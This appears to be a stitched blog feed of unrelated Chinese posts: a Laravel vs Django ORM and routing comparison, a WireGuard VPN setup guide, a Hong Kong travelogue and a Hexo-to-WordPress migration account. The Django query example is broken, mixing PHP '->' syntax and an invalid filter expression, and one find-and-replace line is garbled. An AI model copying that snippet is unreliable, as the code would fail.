假设在某个系统中有这么个需求,一个学生(user)可以属于多个班级,一个班级(team)又包含了许多学生,这样学生和班级之间就构成了一个多对多的关系,通过中间表 team_user ,在 Laravel 中我们应该如何做呢?
首先在 User 模型(app/User.php)中定义好对于 Team 的连接:
public function teams()
{
return $this->belongsToMany('App\Team','team_user','user_id','team_id');
}
然后在控制器中就可以通过一个 User 来找出 TA 属于哪一个 Team 了:
$user_object = User::find($user_id);
$user_teams = $user_object->teams()->get();
很方便是不是?
要把一个 User 和一个 Team 关联起来呢?
$team_object = Team::find($team_id); # 找到 Team
$user_object = User::find($user_id); # 找到 User
$user_object->teams()->attach($team_object); # 关联~
如果希望反向使用,如下:
$team_object->users()->attach($user_id);
的话,需要在 Team 模型(app/Team.php)中申明对于 User 的连接:
public function users()
{
return $this->belongsToMany('App\User','team_user','team_id','user_id');
}
如果在 Django 中需要完成这些操作的话该如何操作呢?
article = Article.objects.get(pk=2)
gallery_list = Article.objects.filter(type == "gallery")
post_list = Article.objects.filter(type == "post")->order_by('-created_at')
同样,需要引入模型的文件:
from .models import Article
Django 中的多对多关系需要在数据库设计的时候加入一些额外的操作,官方的示例如下(一个 Article 可以被发布到多个 Publications 中,一个 Publication 中可以包含多个 Articles):
from django.db import models
class Publication(models.Model):
title = models.CharField(max_length=30)
class Meta:
ordering = ('title',)
def __str__(self):
return self.title
class Article(models.Model):
headline = models.CharField(max_length=100)
publications = models.ManyToManyField(Publication)
class Meta:
ordering = ('headline',)
def __str__(self):
return self.headline
这样要给一个 Publication 加入一些 Articles 可以如下操作:
p1 = Publication(title='The Python Journal')
p1.save() # 先创建一个 Publication
a1 = Article(headline='Django lets you build Web apps easily') # 创建文章
a1.publications.add(p1) # 关联~
如果需要反向关联的话,需要在 Models 中定义,不过似乎在 Django 中没法双向关联,毕竟是由数据库模型保证的。
本文列举了少量在 Django/Laravel 开发中常用的数据模型和 ORM 的一些操作的对比,可以看出 Laravel 和 Django 在这个方面是走了两个完全不同的风格,尤其是在数据定义的部分,个人感觉 Laravel 倾向于让程序解决数据的操作问题,而 Django 更加倾向于让数据库承担一部分操作。
不过 Laravel 在设计数据迁移的时候似乎有一个比较诟病的地方,这里引用知乎网友的评论:
检出代码想看看这个版本的代码的数据库结构,需要创建一个数据库,然后运行迁移创建表,最后去数据库才能查看当前的数据库结构… 想直接从代码里面看当前的数据库结构?对不起,只有每次的数据库迁移脚本,没有最新版的数据库结构,你自己从头到尾滤迁移脚本去吧…
请问laravel优雅在何处? - GameXG的回答 - 知乎https://www.zhihu.com/question/30279133/answer/95285320
这个的确是,Django 做到了看一遍 models.py 就可以知道当前数据库的结构是如何的(除非你没跑 migrate),而 Laravel 如果做了一些表的修改,就会生成一系列的 alter_table 文件,比如一个比较有名的基于 Laravel 的监控系统 Cachet 的 migrations 便是如此,列出文件供大家欣赏:
➜ migrations git:(2.4) tree
.
├── 2015_01_05_201324_CreateComponentGroupsTable.php
├── 2015_01_05_201444_CreateComponentsTable.php
├── 2015_01_05_202446_CreateIncidentTemplatesTable.php
├── 2015_01_05_202609_CreateIncidentsTable.php
├── 2015_01_05_202730_CreateMetricPointsTable.php
├── 2015_01_05_202826_CreateMetricsTable.php
├── 2015_01_05_203014_CreateSettingsTable.php
├── 2015_01_05_203235_CreateSubscribersTable.php
├── 2015_01_05_203341_CreateUsersTable.php
├── 2015_01_09_083419_AlterTableUsersAdd2FA.php
├── 2015_01_16_083825_CreateTagsTable.php
├── 2015_01_16_084030_CreateComponentTagTable.php
├── 2015_02_28_214642_UpdateIncidentsAddScheduledAt.php
├── 2015_05_19_214534_AlterTableComponentGroupsAddOrder.php
├── 2015_05_20_073041_AlterTableIncidentsAddVisibileColumn.php
├── 2015_05_24_210939_create_jobs_table.php
├── 2015_05_24_210948_create_failed_jobs_table.php
├── 2015_06_10_122216_AlterTableComponentsDropUserIdColumn.php
├── 2015_06_10_122229_AlterTableIncidentsDropUserIdColumn.php
├── 2015_08_02_120436_AlterTableSubscribersRemoveDeletedAt.php
├── 2015_08_13_214123_AlterTableMetricsAddDecimalPlacesColumn.php
├── 2015_10_31_211944_CreateInvitesTable.php
├── 2015_11_03_211049_AlterTableComponentsAddEnabledColumn.php
├── 2015_12_26_162258_AlterTableMetricsAddDefaultViewColumn.php
├── 2016_01_09_141852_CreateSubscriptionsTable.php
├── 2016_01_29_154937_AlterTableComponentGroupsAddCollapsedColumn.php
├── 2016_02_18_085210_AlterTableMetricPointsChangeValueColumn.php
├── 2016_03_01_174858_AlterTableMetricPointsAddCounterColumn.php
├── 2016_03_08_125729_CreateIncidentUpdatesTable.php
├── 2016_03_10_144613_AlterTableComponentGroupsMakeColumnInteger.php
├── 2016_04_05_142933_create_sessions_table.php
├── 2016_04_29_061916_AlterTableSubscribersAddGlobalColumn.php
├── 2016_06_02_075012_AlterTableMetricsAddOrderColumn.php
├── 2016_06_05_091615_create_cache_table.php
├── 2016_07_25_052444_AlterTableComponentGroupsAddVisibleColumn.php
├── 2016_08_23_114610_AlterTableUsersAddWelcomedColumn.php
├── 2016_09_04_100000_AlterTableIncidentsAddStickiedColumn.php
├── 2016_10_24_183415_AlterTableIncidentsAddOccurredAtColumn.php
├── 2016_10_30_174400_CreateSchedulesTable.php
├── 2016_10_30_174410_CreateScheduleComponentsTable.php
├── 2016_10_30_182324_AlterTableIncidentsRemoveScheduledColumns.php
├── 2016_12_04_163502_AlterTableMetricsAddVisibleColumn.php
├── 2016_12_05_185045_AlterTableComponentsAddMetaColumn.php
├── 2016_12_29_124643_AlterTableSubscribersAddPhoneNumberSlackColumns.php
├── 2016_12_29_155956_AlterTableComponentsMakeLinkNullable.php
├── 2017_01_03_143916_create_notifications_table.php
├── 2017_02_03_222218_CreateActionsTable.php
├── 2017_06_13_181049_CreateMetaTable.php
├── 2017_07_18_214718_CreateIncidentComponents.php
├── 2017_09_14_180434_AlterIncidentsAddUserId.php
├── 2018_04_02_163328_CreateTaggablesTable.php
├── 2018_04_02_163658_MigrateComponentTagTable.php
├── 2018_06_14_201440_AlterSchedulesSoftDeletes.php
└── 2018_06_17_182507_AlterIncidentsAddNotifications.php
0 directories, 54 files
的确有点感人…虽然这样的形式可以按照文件前的时间顺序执行迁移并且有向后兼容的能力,但是把 Model 和 Migration 写在一个文件里面的话对于大型项目来说可能并不是非常容易管理,虽然 Laravel 在路由和控制器上的优雅占有很大优势,不过这一点上我投 Django~
]]>(贴近 LeetCode 技术栈|希望尝试一下 Python 的 Web 框架),需要使用 Django 来做一些开发,在使用上感受到了与之前习惯的 Laravel 框架之间的一些差异。
Django 和 Laravel 都是 MVC 框架,所以从理论上来说他们的工作逻辑都是差不多的,不过从实际的使用体验上来看,还是有一些比较大的差距,遂决定从自身使用的角度来评点一下这些差异,或许可以帮助一些还在 Laravel 中且希望往 Django 转换的同学一些参考。

这个解释起来非常简单,简单来说,就是给定一个地址,我们要做什么操作,最简单的可能就是普通的页面啦,我们只需要渲染一个页面就好啦,稍微复杂一点的可能需要处理用户订单,修改密码啥的。
在 Laravel 的一些小型项目中,路由的文件是放在:routes/web.php 中的,比如我们需要响应一个静态的 /about 页面,那么路由中是这样写的:
Route::get('/about','PageController@about');
表示如果用户访问了 /about ,那么使用 PageController 的 about 方法(也就是函数)来处理, PageController 是通过指令:
php artisan make:controller PageController
来生成的,位于:app/Http/Controllers/PageController.php 中,对应的函数是:
public function about()
{
return view('about');
}
如果要响应不同类型的请求的话,可以这样写(哈哈,为什么一个 about 页面要接受这么多请求):
Route::post('/about','PageController@create_about');
Route::put('/about','PageController@edit_about');
Route::delete('/about','PageController@delete_about');
如果是一个 CRUD 项目的话,你其实可以直接偷懒使用:
php artisan make:controller PhotoController --resource
来生成对应控制器,直接处理四中不同的 HTTP 请求,对应路由可以这么写:
Route::resources([
'photos' => 'PhotoController',
'posts' => 'PostController'
]);
然后你就可以直接处理以下请求了,是不是很方便?
| Verb | URI | 方法(函数) | Route Name |
|---|---|---|---|
| GET | /photos |
index | photos.index |
| GET | /photos/create |
create | photos.create |
| POST | /photos |
store | photos.store |
| GET | /photos/{photo} |
show | photos.show |
| GET | /photos/{photo}/edit |
edit | photos.edit |
| PUT/PATCH | /photos/{photo} |
update | photos.update |
| DELETE | /photos/{photo} |
destroy | photos.destroy |
这里补充一个,从我最初接触 Laravel 的时候(Laravel 5.6)还没有
/photos/{photo}/edit这个对应的 GET 请求,所以如果需要显示一个包含编辑器的修改页面的话还需要手动创建一个 GET 请求的地址用来显示,当然,这么操作我是学习(抄袭)的 GitHub Gist 的。
好奇的同学可能要问了,这个 view('about') 是个什么,其实是对应的 resources/views/about.blade.php 这个页面的内容,即直接在这个文件中写入 HTML 即可。
由于 HTML 规范中没有 DELETE/PUT 之类的请求,所以 Laravel 对于这类请求的方法是,在 <form> 中加入一个字段来表示:
@method('PUT')
这样写的话,Laravel 会在表单中渲染成以下给后端去处理:
<input type="hidden" name="_method" value="PUT">
对应的,csrf 是这样写的:
@csrf
会被渲染成:
<input type="hidden" name="_token" value="{{ csrf_token() }}">
那么假设我们完成了一个请求,需要进行跳转的话(比如下单成功,自动跳转回用户个人面板这种),该如何操作呢?
return redirect('home/dashboard');
啊哈~
在 Django 中创建路由就稍微麻烦一些,因为刚刚创建好的一个项目中会有一个和项目同名的文件夹,其下有一个 urls.py ,默认的文件结构是这样的:
mysite/
manage.py
mysite/
__init__.py
settings.py
urls.py
wsgi.py
文件内容是这个样子的:
from django.urls import path
from . import views
urlpatterns = [
path('', views.index, name='index'),
]
官方推荐的方式是,如果需要做什么请求的话,建议分到一个被称为 app 的里面去,一般就是创建了一个同级的文件夹(通过指令:django-admin startapp polls),内部有独立的模型和视图,文件结构一般如下,这里以官方的 polls 这个 app 为例:
mysite/
manage.py
mysite/
__init__.py
settings.py
urls.py
wsgi.py
polls/
__init__.py
admin.py
apps.py
migrations/
__init__.py
models.py
tests.py
urls.py
views.py
然后就需要在 /mysite/mysite/urls.py 中手动引用:
from django.contrib import admin
from django.urls import include, path
urlpatterns = [
path('polls/', include('polls.urls')),
path('admin/', admin.site.urls),
]
然后在 /mysite/polls/urls.py 中接受一些路由,比如(以下来自我自己一个项目的 urls.py,有删改):
from django.urls import path
from . import views
urlpatterns = [
path('about/',views.about),
path('status/',views.status),
]
哦对了,polls 下刚刚创建好的时候呀,连 urls.py 都没有,几乎所有需要需要 import 的内容呀,需要手动去官网查…
在上面的例子中,我们已经定义了 /polls/about/ 的路由了,是由 views(也就是 views.py 文件)中的 about 方法(也就是函数)来处理,那么对应的方法是如何写的呢?
def about(request):
return render(request,'about.html',{})
看上去很简单?不对哦,我们还需要手动引用一些东西,不然会报错,比如:
from django.shortcuts import render
这个东西哪儿来?得自己查…
POST 和 GET 请求好说,可以有两种方式实现,一个是直接写在方法里面,大致如下:
if request.method == 'GET':
do_something()
elif request.method == 'POST':
do_something_else()
或者也可以使用一个被称为 class-based view 的方式来写,如下:
class HelloController(View):
def get(self, request):
hello_param = request.GET["helloParam"]
def post(self, request):
hello_param = request.POST["helloParam"]
如果需要处理 PUT 之类的请求的话…似乎不行…
CSRF 的话,Django 中写法如下:
{% csrf_token %}
同样,如果我们完成了一个请求,需要跳转的话,应该如何写呢?
return HttpResponseRedirect('home/dashboard')
这样就完了?不对哦,还得手动引用:
from django.http import HttpResponseRedirect
从以上对比可以看出,对于一个不是非常大的项目来说,Laravel 的中心化管理路由的方式比较容易理解,尤其是一键创建多个方法的操作比较适合 CRUD (比如简单的博客系统之类的),但是这样的设计会在一定程度上给使用者一些局限性,不得不 Think the Laravel Way,还是有少量的不便。
而 Django 的话,如果完全不理解 MVC 的模式的话,上手可能会比较头痛(毕竟官方文档似乎不是很…亲民?),但是从长远来看,撇开那个自带的 admin 不说,分布式的路由结构还是非常适合团队合作以及各种类型的项目的,当然,需要对于整个项目有一个比较好的把控才行。
由于需要对自己的各个服务器进行监控,最近实践了一下 Grafana + InfluxDB + Telegraf 的栈,但是遇到了一个问题,即我的 Telegraf 需要安装在远程的主机上并向自己的 Master 节点返回数据,大致架构如下:
这样就带来了一个访问控制的问题,由于 Slave 和 Master 多不在一个机房当中,所以没法享受内网数据传输,遂决定利用 VPN 的方式自建一个内网起来,保证数据的传输安全性,我知道我知道,如果要保护数据安全的话其实有很多的方式比如:
但是由于懒,加上希望有一个比较无缝的实现,且可以对上层其他的应用加以保护(比如 MySQL 的主从热备),所以便考虑了 VPN 的方式组网。同样,VPN 的选择也是多种多样,PPTP 由于感觉安全性不够最先被排除,OpenVPN 由于感觉配置过于复杂也被排除(而且据 Morgan Wu 讲这样的 VPN 有比较大的 Overhead),最后考虑了一个比较新兴且大家普遍比较喜欢的 WireGuard。
关于 WireGuard,有一下特点(来自 WireGuard 官网):
WireGuard securely encapsulates IP packets over UDP.(WireGuard 走的 UDP 协议,防火墙放行的时候别搞错了)
WireGuard aims to be as easy to configure and deploy as SSH.
A combination of extremely high-speed cryptographic primitives and the fact that WireGuard lives inside the Linux kernel means that secure networking can be very high-speed.
加密方式是 ChaCha20-Poly 1305,Hash 算法是 BLAKE2s.
在一个官方的测试中,WireGuard 吞吐效率和其他同级别 VPN 对比图:

总的来说,由于集成在内核中且使用了对于移动设备友好的加密和 Hash 算法,吞吐效率较高。公私钥对的验证方式,部署方便,Overhead 较小。
虽然网上有许多的一键安装脚本,这里还是提及一下一个常规的安装方式,使用的服务器系统是 Ubuntu 18.04(Bionic)。
首先两边的服务器(假设称为 Server 和 Client 嘛)都需要安装 WireGuard:
$ sudo apt-get update
$ sudo apt-get install wireguard
2022/05/08 更新:移除了
add-apt-repository ppa:wireguard/wireguard步骤原因:在 https://launchpad.net/%7Ewireguard 上:This formerly was responsible for producing a PPA for WireGuard on Ubuntu. That functionality has now been folded into Ubuntu itself, so our old PPA has been removed. Simply run
apt install wireguardon all Ubuntus ≥ 16.04.
在 Server 和 Client 上进入 /etc/wireguard/ 目录,然后生成自己机器的公私钥对:
$ wg genkey | tee privatekey | wg pubkey > publickey
这样在每台主机上都会有两个文件:privatekey 和 publickey。
WireGuard 是通过创建一个虚拟接口的方式来转发流量的,这里我们暂时停一下来明确一下我们的网络规划。
| Host | wg0 Address(WireGuard 内部使用) | eth0 Address(服务商给的公网 IP) |
|---|---|---|
| Server | 192.168.1.1/24 | 1.1.1.1 |
| Client | 192.168.1.2/24 | 2.2.2.2 |
Server 上开放 51820 端口(切记是 UDP)用于 Client 连接,在每台机器上 /etc/WireGuard/ 目录下创建一个名为 wg0.conf 的文件,内容分别如下:
在 Server 上的 wg0.conf:
[Interface]
Address = 192.168.1.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = < 这里填写 Server 上 privatekey 的内容 >
# Client
[Peer]
PublicKey = < 这里填写 Client 上 publickey 的内容 >
AllowedIPs = 192.168.1.1/24
在 Client 上的 wg0.conf:
[Interface]
PrivateKey = < 这里填写 Client 上 privatekey 的内容 >
Address = 192.168.1.2/24
# Server
[Peer]
PublicKey = < 这里填写 Server 上 publickey 的内容 >
Endpoint = 1.1.1.1:51820
AllowedIPs = 192.168.1.1/24
然后在双方主机上各自 wg-quick up wg0 即可。
通过 wg 指令即可查看目前接口使用情况,比如从我的 Client 上:
interface: wg0
public key: < Client 上的 publickey >
private key: (hidden)
listening port: 49992
peer: < Server 上的 publickey >
endpoint: 1.1.1.1:51820
allowed ips: 192.168.1.0/24
latest handshake: 1 minute, 46 seconds ago
transfer: 7.02 MiB received, 172.99 MiB sent
此时隧道已经建立,双方主机已经可以通过内网 IP (这里的例子中是 192.168.1.1 和 192.168.1.2 进行加密地通讯了,无论是 MySQL 热备还是 Nginx 反向代理都可以爽快地使用内网地址跑起来啦~
香港不愧是東方之珠,其繁華程度是我去過的最高的城市,有甚於紐約、倫敦。香港是一個非常自由的都市,在這裏可以看到許多內地已經消失或者禁止的東西,如一大片算命的攤位、當街兜售色情電影,甚至還能聞到一些大麻的味道。同時香港具有極高的包容性,無論是粵語、英語還是普通話,到處可以聽得到。我在香港專門住在了號稱亞洲最國際化的地方「重慶大廈」,這裏是印度人的聚集地,塞滿了廉價小旅館,居住環境和港島半山富人區簡直天壤之別。在香港真的是有錢人有有人錢的活法,窮人有窮人的活法,令人印象深刻。
前一段時間的一次偶然的機會得以前往大灣區——香港和深圳,雖然由於計劃原因在到達香港的當天就直接返回大陸了,不過這次港深之行還是留下了諸多回憶,本文從香港開始講起,以後有機會也可以提提深圳的情況。
爲了避免文章變得和一些無趣的旅遊網站遊記一樣無趣(畢竟許多人都是跟着一些 “網紅” 線路帶着非常優秀的攝影器材走走吃吃喝喝拍拍,加之由於時間有限也不能像一些「香港旅居記」一樣造訪一些比較小衆的景點去發掘香港本土人的生活狀況),所以本文將挑選一些個人認爲比較有意思的點加以展開,嘗試去挖掘一些表面事物背後的一些有意思的故事。
對的,香港使用的是繁體中文(或者,我們大陸人理解的那種「繁體中文」),這個裏面水太深了,只能說有興趣的朋友們可以自行搜索一下,一旦開始探索便感覺深似海,從語言開始可以瞭解我們國家的文字發展變革,也可以理解到歷史的進程。
由於本文是關於香港的,所以本文我儘量使用《香港特別行政區教育局》出版的「中英對照香港學校中文學習基礎字詞」作爲規範進行撰寫,由於對於相關領域瞭解不深,可能會無意中包含一些「繁體中文(臺灣)」在文中,還請各位讀者見諒。
目前從深圳到達香港有許多途徑,除了一些口岸(比如羅湖或者福田)以外,還有動車(動感號)可以前往。由於在去之前在羅湖口岸有一些多餘的時間,遂在附近探索了一下,發現了一些比較有意思的地方,比如一條似乎中港互通的鐵路(後從香港發現好像的確是互通的),在大陸側拍攝圖片如下:

在香港側拍攝圖片:

經過了一些搜索後得知這一條線路是廣九直通車,從內地過去後有道岔,(往香港方向)向右應該是大陸鐵路到達西九龍的列車,左側就是港鐵東鐵線的線路了。
之前還和同學開玩笑說:香港人在口岸附近開一個熱點,這樣大陸就可以無縫訪問國際互聯網了,但是在一些搜索之後得知有一個被稱爲「禁區」的地方,維基百科摘錄如下:
香港邊境禁區(英文:Frontier Closed Area)主要指設於香港新界北的邊境禁區,其中包括北區的沙頭角市及鄉郊、羅湖、文錦渡、部份打鼓嶺地區及元朗區落馬洲及支線範圍。範圍最廣時期達約2,800公頃,至2016年縮減至約400公頃,不少沙頭角周邊村落、打鼓嶺周邊村落、馬草壟一帶、沙嶺一帶以及新田部份地區被釋出禁區。
南面海島也有一些禁區,如石鼓洲。
羅湖村的大部份範圍並不屬禁區,但進村的道路屬於港鐵及邊境部門共同管理的封閉道路,而該村被險要的山嶺包圍,因此必須持有禁區許可證方可進入。
所以,估計這個思路是不行的。(要中港快速互通的可以考慮 HKT 家寬或者中港專線嘛
值得一提的是,往返於大陸和香港西九龍的動感號(高鐵)是港鐵公司的:
港鐵動感號高速電動列車(英文:Vibrant Express),正式命名前曾称为“香港高速電動列車[3]”,為香港特別行政區政府[4]委託港鐵公司招標採購的高速动车组,是中國大陸唯一一款出口型高速電動列車。
動感號高速電動列車是中車四方在CRH380A高速动车组技术平台上为港鐵量身订做,在保持其技术特色的基础上,在列车的性能上做进一步的提升[5]。
講到港鐵,給我的第一印象就是,很快,東鐵線運行速度很快,基本維持在 90 kph 左右,尤其是經過道岔多的地方,車廂搖晃還是比較劇烈的。另一個快的感覺在於關門後到列車開動之間的時間間隔短,從羅湖的港鐵就已經有所領略香港這個城市的生活節奏,哦對了,港鐵沒有安檢。


作爲香港的城市交通,港鐵在香港市民的出行中扮演着非常重要的角色,對於其 Logo 的象徵意義:

港鐵的Logo,其意景就是上半弧線代表九龍半島、下半弧線代表香港島,而中間的直線側代表地下鐵路(港鐵的前身),意思是香港地下鐵路連接了香港島與九龍半島。對於當時的人們來說,這是一個極大的意義,因為一直以來香港與九龍被維多利亞港分隔開,兩岸的人不是輕易能到達彼岸,而香港地下鐵路正正能夠提供一個方便快捷的運輸服務,連接了人一直認為不能連接的地方,香港自此進入了另一個時代。
相比較之下,深圳地鐵的 Logo:

誒?迷之像啊!對此,一篇博客中的看法如下(原文見參考鏈接[2]):
對於我這個出生於香港80年代的人,香港的地鐵(現稱港鐵)Logo是植根我心,但竟然在完全陌生的國內地土出現一個外形極奇相似、業務性質完全相同的地鐵Logo,我的神經很自然被完全挑動起來。第二,我納悶的是,香港關注此事的人寥寥可數,就連香港地鐵Logo的設計師——李永銓都沒有出來發聲,反而大陸的網民討論比香港人還要多。順帶一提,2009年港鐵是有向國家商標局對深圳地鐵LOGO提出商標異議,但結果是:「(國家商標局)一致認為深圳地鐵的商標與香港地鐵的商標不構成近似商標,香港地鐵的異議理由不成立,深圳地鐵的商標應當予以核准註冊。」
比較好玩哈?我們再來看看別的,他們的效益,港鐵公司每年都會有自己的年報,根據 2018 年報(鏈接見參考資料[3])來看,在 2018 年年收入達到了 113 億港幣,淨資產大到了 1806 億港元:

港鐵收入那麼多錢,靠的高票價嘛?(乘港鐵從羅湖到尖東的費用約 50 HKD,如果你想乘「頭等艙」的話,好象是 500 HKD,而且所謂的頭等艙的座位個人感覺和大陸的長途公交車差不多,類似的距離在大陸可能不會超過 10 CNY),好像也不是,從他們的綜合損益表中可以看出,MTR 的地產投資也是一個收入的大頭:

順便搜了一下「大陸地鐵 盈利」,搜索結果中排名第一的是這樣一篇文章:整个中国只有三条地铁线盈利:拿什么来拯救中国地铁?,呃…
在港鐵上發現的香港和大陸的幾個有意思的區別:

還有幾個值得說的地方在於——港鐵每個車站的顏色和港鐵的字體(港鐵宋),前者如圖:

後者可以參考:「地鐵宋體」。
首先就是香港的物價,不得不說,在一國兩制的情況下,一河(深圳河)之隔,兩岸之間物價差距巨大,從兩個比較簡單的方面來看——飲食和住宿,前者相信大陸同胞都有所體會,基本全國價格差距不是很大,然而到了香港,一瓶可樂可以賣到 15 HKD 的高價,瓶裝飲用水可以達到 9 HKD 的價格。其次是住宿,深圳地區價格爲 300 CNY 的酒店對應到香港同等水平可以達到近 1000 CNY 的高價。
從一些數據中我們也可以發現一些成因,從維基百科上的數據來看,香港地區人均 GDP(PPP)達到了 $64,533 美元,排名世界第十,對比深圳,GDP 只有 28,647 美元,差距近 3 倍(可能因爲此導致的物價差距近 3 倍)。
另一個值得一說的點是據說香港人工費非常高,這一點是從香港回來後聽到朋友告訴我的,想到了一張在香港旺角附近拍攝的一張照片:

房價的話,無需多講,看照片(拍攝於廣華街附近):


與大陸不同,香港對於仿真槍是合法的,所以 Air Soft 運動也是完全合法的,出發前曾在網上找過相關的店鋪,得知在廣華街有 “許多的槍店” 扎堆,不過在實際前往之後發現好像和想像的還是稍有差距,只看到了兩家開門的商店,由於店內禁止拍照,所以這裏只能放一張點外的照片。

在大陸這邊(尤其是校園內),可能只需要 59 CNY 一個月就可以購買到一個「無限流量」的套餐(基本上是 40 GiB 之後開始限速),作爲一個網絡在全球都排名靠前的地區,不得不被價格折服,普通的月費套餐 148 HKD 只有 5 GiB 的流量。

當然,這個與物價有關,也無可厚非。
從個人的觀察來看,許多人的 IM 工具以 Line 爲主,搜索引擎以 Google 爲主(如果見到一個用微信加百度,十有八九是大陸人),好奇心的趨勢下我也下載了一個 Line,發現在諸多特點和功能上和微信非常的相似,都不知道該如何表達了…
入境香港之後才發現事先準備的港幣並不夠,無奈之下只好找到就近的中國銀行(香港)取了點現金,手續費是 10 CNY + 5%(至少我取的時候是這樣),在某個不知名的站的 ATM 機器上取了 500 HKD,花費 425 CNY(當日銀行匯率 0.85)+15 CNY 手續費,ATM 照片如下,這個界面是輸入取款金額的,不得不佩服這個 UI 寫的實在是高…(輸入的金額在右下角,而不是像大陸這邊一樣有一個 Input form)

關於香港的銀行業其實有許多比較有意思的地方可以展開的,可能大家(或者至少我個人)關注的最主要的點在於香港的銀行沒有每年 5 万 USD 的外匯管制,不過看了一下香港的銀行卡多以「運籌」之類結尾,加上經濟實力實在有限,便沒有仔細關注這一方面。
中銀大廈也很有意思,在維多利亞港的一側,且對於中國銀行而言:
香港总部位处于中环香港中银大厦,为美国境外,第一座楼高超过一千呎的摩天大厦。
雖然由於時間有限沒有能登上太平山(排隊人太多),不過還是得以有幸在中銀大廈樓下拍了一張仰視圖,同時心中默唸:啊,這就是大佬們的房子。

水是藍色的,着實好看,由於之前看見的海都是土黃色的,更是感覺這裏很美,估計晴天的時候會更加好看一些,對於這個地標僅僅是去「打卡」了一下,並沒有太多需要展開的,好看的風景照可以各位可以自行 Google 一下。

紙上得來終覺淺,絕知此事要躬行
雖然現在互聯網非常的發達,但是親身造訪一次之後還是可以對自己的認識水平有一個較大的提高(當然,前提是細心觀察,而不是跟着網紅景點吃吃喝喝),此次大灣區之行是在我在大學期間邁出的比較遠的一步,或許也是之後各地探訪的第一步。
将近两年前,我从 Wordpress 迁移到了 Hexo,现在又迁移回来了,我知道在全民 Wordpress -> Hexo 的时代似乎这么 “逆行” 有点政治不正确,但是迁移到 Wordpress 之后对于我来说有了以下特性:
我的博客图片不多,但是 Wordpress 对于图片的管理让用户不得不一直 Stick to 他们自己的媒体库,非常的不方便,于是将自己的博客图片全部托管在自己的机器上(本来还考虑过 Object Storage -> Nginx -> Cloudflare CDN 的,但是感觉那样太骚了,而且桶的权限也不很好设置),这样方便内容和图片分离,即使将来有进一步迁移的需求的话也不需要过于纠结图片如何导出的问题,毕竟:
图床地址是: ,由于存放的图片都是博客上需要的图片,在 Cloudflare 端就直接使用了 Flexible SSL(其实主要是因为懒),且根据 Cloudflare 的文档:Which file extensions does Cloudflare cache for static content? ,Cloudflare 会所有图片缓存下来,至于在国内访问速度如何嘛…这是个玄学问题。

我的博客 RSS 默认是以 atom 方式输出文章摘要,这里需要调整为 rss2 格式输出全文方便 Wordpress 导入,在 _config.yml 中配置如下:
feed:
type: rss2
path: atom.xml
limit: 0
hub:
content: true
此时 hexo g 之后将生成的 atom.xml 文件导出出来,准备将博客的所有图片地址替换为自己的外链,这一步一开始我想的太复杂了,以为需要各种正则表达式匹配转换,后来想了一下,直接用查找&替换把所有的 /pics 替换成了 /pics 就完事了~
Wordpress 提供一个 RSS Importer,如果你和我一样使用着 PHP 7 的话,在导入的时候会看到一个异常,原因是在 /wp-content/plugins/rss-importer/rss-importer.php 的 72 行中有一个函数调用:
set_magic_quotes_runtime(0);
已经被弃用了,直接无脑把他注释掉即可~
成功导入后只是漫漫长路的第一步,因为你很快就会发现:
/<标题>,而不是 /some-slug)
对于这种情况…其实也是挺无解的,所以基本每篇文章都需要手动全部删除那个 Classic Block 并且手动复制一下 Markdown 文本上去。(虽然看上去像是完全重建了,但是这样导入 + 重新复制的方式可以减少手动构建文章结构以及日期等步骤)
这个步骤是通过计划任务自动备份到 Object Storage ,可以参考《在 Scaleway Object Storage 上備份數據》,此外,我会在每次文章发布的时候手动通过 Wordpress 的工具 Export 一份作为备份,存放在 Object Storage 上。
此外,由于使用了外链图片,Wordpress 自带的 Export 功能完全足以用于博客文章的迁移,而且如果运气好的话还可以自动从原始站点(如果原始站点还在的话)下载 Featured Image。
这个也是需要考虑的,由于之前的博客的 RSS 输出地址是:/atom.xml 而现在是 /rss 或者 /feed 对于使用 RSS 阅读器的读者来说可能需要手动调整一下。
不幸的是,Disqus 中的评论无法导入到 Wordpress,所以…
在开了一个神奇的插件之后 Wordpress 直接 500 了,非常迷,不过还好 10 分钟前有一个备份(论备份的重要性),不过从 Object Storage 上把自己的备份取下来后权限全部变成了 ubuntu:ubuntu,这样 Wordpress 的所有权限全部就没有了,插件和上传功能全部损坏,这里通过一个脚本来进行修复,(我的 Wordpress 是跑在 Docker 中的,Docker 中默认使用的 Apache 作为服务器,用户和权限都是 www-data)代码如下:
#!/bin/bash
WP_OWNER=www-data # <-- wordpress owner
WP_GROUP=www-data # <-- wordpress group
WP_ROOT=$1 # <-- wordpress root directory
WS_GROUP=www-data # <-- webserver group
# reset to safe defaults
find ${WP_ROOT} -exec chown ${WP_OWNER}:${WP_GROUP} {} \;
find ${WP_ROOT} -type d -exec chmod 755 {} \;
find ${WP_ROOT} -type f -exec chmod 644 {} \;
# allow wordpress to manage wp-config.php (but prevent world access)
chgrp ${WS_GROUP} ${WP_ROOT}/wp-config.php
chmod 660 ${WP_ROOT}/wp-config.php
# allow wordpress to manage wp-content
find ${WP_ROOT}/wp-content -exec chgrp ${WS_GROUP} {} \;
find ${WP_ROOT}/wp-content -type d -exec chmod 775 {} \;
find ${WP_ROOT}/wp-content -type f -exec chmod 664 {} \;
用法:
$ /path/to/this-script.sh /path/to/wordpress/
这样就可以快速恢复 Wordpres 的文件权限。
虽然上了 Wordpress 的车,但是为了保证前向兼容,目前文章管理方式如下:
hexo new draft new-blog-post-slugsource 目录同步到 Object Storage这样即使 Wordpress 出了什么严重的问题(或者突然不喜欢了),我依然可以在较短的时间内通过 Hexo 顶上,并且给自己修理 Wordpress 的时间。
Wordpress 作为一个动态程序,其稳定性和维护的成本是大于 Hexo 这类静态文章生成器的,安全性也是要大大降低的。不过…
翅膀长硬了总是要自己的飞的嘛,不能总是停留在心理舒适区中,用 md 写文章,然后 hexo g 推到 GitHub 上了事。
下一步的计划是通过定时任务实时检测站点的在线情况,若发现站点掉线( Response Code != 200),则自动从 Object Storage 中获取上一个备份并且尝试本地重建,若重建失败则通过 Cloudflare API 将站点 DNS 切换到 Hexo 的备份站点上,并且邮件通知我,如果你感觉这样很蛋疼的话,我也是这么认为的。:P
啊,WP 真香!
]]>有热心读者提供了一份 Issues 的数据,是 SQLite 格式的,暂时我可能没有时间分析,下面给出下载地址,欢迎有兴趣的同学来一起分析:https://blog.bgme.me/files/996_icu_issues.db.zip(原始链接),</pics/996/issues.db>(我的镜像)。
